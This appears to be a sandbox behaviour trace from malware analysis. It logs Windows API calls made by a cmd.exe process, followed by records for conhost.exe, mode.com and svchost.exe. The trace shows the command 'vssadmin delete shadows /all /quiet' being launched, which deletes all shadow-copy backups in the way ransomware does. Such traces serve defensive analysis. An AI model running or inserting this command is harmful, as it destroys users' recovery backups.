	[0167.340] GetStartupInfoW (in: lpStartupInfo=0x32a16ff2a0 | out: lpStartupInfo=0x32a16ff2a0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0167.340] GetProcessHeap () returned 0x1ff0cc10000
	[0167.340] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x20) returned 0x1ff0cc17630
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0167.340] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0167.341] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0167.341] GetProcessHeap () returned 0x1ff0cc10000
	[0167.341] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc17630) returned 1
	[0167.341] GetProcessHeap () returned 0x1ff0cc10000
	[0167.341] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x12) returned 0x1ff0cc179f0
	[0167.341] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.341] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0167.341] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.341] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0167.341] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x32a16ff230*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin  delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32a16ff208 | out: lpCommandLine="vssadmin  delete shadows /all /quiet", lpProcessInformation=0x32a16ff208*(hProcess=0x98, hThread=0x9c, dwProcessId=0xea4, dwThreadId=0xea8)) returned 1
	[0167.888] CloseHandle (hObject=0x9c) returned 1
	[0167.888] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0167.888] GetProcessHeap () returned 0x1ff0cc10000
	[0167.888] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc29f90) returned 1
	[0167.888] GetEnvironmentStringsW () returned 0x1ff0cc29460*
	[0167.888] GetProcessHeap () returned 0x1ff0cc10000
	[0167.888] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb24) returned 0x1ff0cc29f90
	[0167.888] FreeEnvironmentStringsA (penv="=") returned 1
	[0167.888] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x32a16fe708, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x32a16fe708, ReturnLength=0x0) returned 0x0
	[0167.888] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x8e276cd000, lpBuffer=0x32a16fe740, nSize=0x7a0, lpNumberOfBytesRead=0x32a16fe700 | out: lpBuffer=0x32a16fe740*, lpNumberOfBytesRead=0x32a16fe700*=0x7a0) returned 1
	[0167.888] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0175.806] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x32a16ff188 | out: lpExitCode=0x32a16ff188*=0x2) returned 1
	[0175.806] CloseHandle (hObject=0x98) returned 1
	[0175.806] _vsnwprintf (in: _Buffer=0x32a16ff358, _BufferCount=0x13, _Format="%08X", _ArgList=0x32a16ff198 | out: _Buffer="00000002") returned 8
	[0175.806] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0175.806] GetProcessHeap () returned 0x1ff0cc10000
	[0175.806] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc29f90) returned 1
	[0175.806] GetEnvironmentStringsW () returned 0x1ff0cc29460*
	[0175.806] GetProcessHeap () returned 0x1ff0cc10000
	[0175.806] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb24) returned 0x1ff0cc29f90
	[0175.806] FreeEnvironmentStringsA (penv="=") returned 1
	[0175.806] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0175.806] GetProcessHeap () returned 0x1ff0cc10000
	[0175.806] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc29f90) returned 1
	[0175.806] GetEnvironmentStringsW () returned 0x1ff0cc29460*
	[0175.806] GetProcessHeap () returned 0x1ff0cc10000
	[0175.806] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb24) returned 0x1ff0cc29f90
	[0175.806] FreeEnvironmentStringsA (penv="=") returned 1
	[0175.807] GetProcessHeap () returned 0x1ff0cc10000
	[0175.807] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc179f0) returned 1
	[0175.807] DeleteProcThreadAttributeList (in: lpAttributeList=0x32a16ff310 | out: lpAttributeList=0x32a16ff310) 
	[0175.807] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0175.932] ??_V@YAXPEAX@Z () returned 0x1
	[0175.932] _get_osfhandle (_FileHandle=1) returned 0x254
	[0175.947] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0175.947] _get_osfhandle (_FileHandle=1) returned 0x254
	[0175.947] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65b83fc08 | out: lpMode=0x7ff65b83fc08) returned 0
	[0175.947] _get_osfhandle (_FileHandle=0) returned 0x248
	[0175.947] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65b83fc0c | out: lpMode=0x7ff65b83fc0c) returned 0
	[0175.947] GetConsoleOutputCP () returned 0x4e3
	[0176.096] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0176.096] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0176.152] GetProcessHeap () returned 0x1ff0cc10000
	[0176.152] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc29050) returned 1
	[0176.152] GetProcessHeap () returned 0x1ff0cc10000
	[0176.152] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc28e80) returned 1
	[0176.152] GetProcessHeap () returned 0x1ff0cc10000
	[0176.152] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc17830) returned 1
	[0176.152] GetProcessHeap () returned 0x1ff0cc10000
	[0176.152] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc2aac0) returned 1
	[0176.152] GetProcessHeap () returned 0x1ff0cc10000
	[0176.152] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc177c0) returned 1
	[0176.153] GetProcessHeap () returned 0x1ff0cc10000
	[0176.153] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18e90) returned 1
	[0176.153] GetProcessHeap () returned 0x1ff0cc10000
	[0176.153] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc175e0) returned 1
	[0176.153] GetProcessHeap () returned 0x1ff0cc10000
	[0176.153] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16490) returned 1
	[0176.153] GetProcessHeap () returned 0x1ff0cc10000
	[0176.153] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc17340) returned 1
	[0176.153] _vsnwprintf (in: _Buffer=0x7ff65b847f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32a16ff738 | out: _Buffer="\r\n") returned 2
	[0176.153] _get_osfhandle (_FileHandle=1) returned 0x254
	[0176.153] GetFileType (hFile=0x254) returned 0x3
	[0176.153] _get_osfhandle (_FileHandle=1) returned 0x254
	[0176.153] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0176.153] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x32a16ff708, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff708*=0x2, lpOverlapped=0x0) returned 1
	[0176.153] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0176.153] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ff0cd10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0176.153] _vsnwprintf (in: _Buffer=0x1ff0cd20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x32a16ff748 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0176.153] _vsnwprintf (in: _Buffer=0x1ff0cd20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x32a16ff748 | out: _Buffer=">") returned 1
	[0176.153] _get_osfhandle (_FileHandle=1) returned 0x254
	[0176.153] GetFileType (hFile=0x254) returned 0x3
	[0176.153] _get_osfhandle (_FileHandle=1) returned 0x254
	[0176.153] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0176.153] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x32a16ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff738*=0x14, lpOverlapped=0x0) returned 1
	[0176.154] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.154] GetFileType (hFile=0x248) returned 0x3
	[0176.154] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.154] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0176.154] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0176.154] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1
	[0176.154] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.154] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0176.154] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0176.154] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1
	[0176.154] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.154] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0176.154] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0176.154] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1
	[0176.154] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.154] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0176.154] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0176.154] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1
	[0176.154] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.154] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0176.155] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0176.155] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1
	[0176.155] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.155] GetFileType (hFile=0x248) returned 0x3
	[0176.155] _get_osfhandle (_FileHandle=0) returned 0x248
	[0176.155] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0176.155] _get_osfhandle (_FileHandle=1) returned 0x254
	[0176.155] GetFileType (hFile=0x254) returned 0x3
	[0176.155] _get_osfhandle (_FileHandle=1) returned 0x254
	[0176.155] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6
	[0176.155] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x32a16ffa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ffa38*=0x5, lpOverlapped=0x0) returned 1
	[0176.155] GetProcessHeap () returned 0x1ff0cc10000
	[0176.155] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x4012) returned 0x1ff0cc18e90
	[0176.155] GetProcessHeap () returned 0x1ff0cc10000
	[0176.155] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18e90) returned 1
	[0176.156] _wcsicmp (_String1="Exit", _String2=")") returned 60
	[0176.156] _wcsicmp (_String1="FOR", _String2="Exit") returned 1
	[0176.156] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1
	[0176.156] _wcsicmp (_String1="IF", _String2="Exit") returned 4
	[0176.156] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4
	[0176.156] _wcsicmp (_String1="REM", _String2="Exit") returned 13
	[0176.156] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13
	[0176.156] GetProcessHeap () returned 0x1ff0cc10000
	[0176.156] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb0) returned 0x1ff0cc17340
	[0176.156] GetProcessHeap () returned 0x1ff0cc10000
	[0176.156] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1a) returned 0x1ff0cc16490
	[0176.308] GetConsoleOutputCP () returned 0x4e3
	[0176.372] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0176.372] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0176.487] GetConsoleTitleW (in: lpConsoleTitle=0x32a16ff880, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0176.590] malloc (_Size=0xffce) returned 0x1ff0cd30840
	[0176.590] ??_V@YAXPEAX@Z () returned 0x1ff0cd30840
	[0176.590] malloc (_Size=0xffce) returned 0x1ff0cd40820
	[0176.590] ??_V@YAXPEAX@Z () returned 0x1ff0cd40820
	[0176.590] _wcsicmp (_String1="Exit", _String2="DIR") returned 1
	[0176.591] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6
	[0176.591] _wcsicmp (_String1="Exit", _String2="DEL") returned 1
	[0176.591] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15
	[0176.591] _wcsicmp (_String1="Exit", _String2="COPY") returned 2
	[0176.591] _wcsicmp (_String1="Exit", _String2="CD") returned 2
	[0176.591] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2
	[0176.591] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13
	[0176.591] _wcsicmp (_String1="Exit", _String2="REN") returned -13
	[0176.591] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21
	[0176.591] _wcsicmp (_String1="Exit", _String2="SET") returned -14
	[0176.591] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11
	[0176.591] _wcsicmp (_String1="Exit", _String2="DATE") returned 1
	[0176.591] _wcsicmp (_String1="Exit", _String2="TIME") returned -15
	[0176.591] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11
	[0176.591] _wcsicmp (_String1="Exit", _String2="MD") returned -8
	[0176.591] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8
	[0176.591] _wcsicmp (_String1="Exit", _String2="RD") returned -13
	[0176.591] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13
	[0176.591] _wcsicmp (_String1="Exit", _String2="PATH") returned -11
	[0176.591] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2
	[0176.591] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14
	[0176.591] _wcsicmp (_String1="Exit", _String2="CLS") returned 2
	[0176.591] _wcsicmp (_String1="Exit", _String2="CALL") returned 2
	[0176.591] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17
	[0176.591] _wcsicmp (_String1="Exit", _String2="VER") returned -17
	[0176.591] _wcsicmp (_String1="Exit", _String2="VOL") returned -17
	[0176.591] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0
	[0176.591] ??_V@YAXPEAX@Z () returned 0x1
	[0176.591] GetProcessHeap () returned 0x1ff0cc10000
	[0176.591] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x14) returned 0x1ff0cc164c0
	[0176.592] GetProcessHeap () returned 0x1ff0cc10000
	[0176.592] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1a) returned 0x1ff0cc175e0
	[0176.592] GetProcessHeap () returned 0x1ff0cc10000
	[0176.592] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x21c) returned 0x1ff0cc177c0
	[0176.592] GetConsoleTitleW (in: lpConsoleTitle=0x1ff0cc177d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0176.811] GetProcessHeap () returned 0x1ff0cc10000
	[0176.811] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc177c0, Size=0x64) returned 0x1ff0cc177c0
	[0176.824] GetProcessHeap () returned 0x1ff0cc10000
	[0176.824] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc177c0) returned 0x64
	[0176.824] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1
	[0177.132] GetProcessHeap () returned 0x1ff0cc10000
	[0177.132] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc177c0) returned 1
	[0177.132] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0177.297] exit (_Code=2) 

Thread:
	id = 59
	os_tid = 0xe54


Process:
	id = "7"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x5cf2b000"
	os_pid = "0xde8"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 35
	os_tid = 0xdec


Thread:
	id = 49
	os_tid = 0xe2c


Thread:
	id = 50
	os_tid = 0xe30


Thread:
	id = 53
	os_tid = 0xe3c


Thread:
	id = 54
	os_tid = 0xe40


Process:
	id = "8"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x6269e000"
	os_pid = "0xe64"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 60
	os_tid = 0xe68


Thread:
	id = 74
	os_tid = 0xe6c


Process:
	id = "9"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x42090000"
	os_pid = "0x538"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0x23c"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
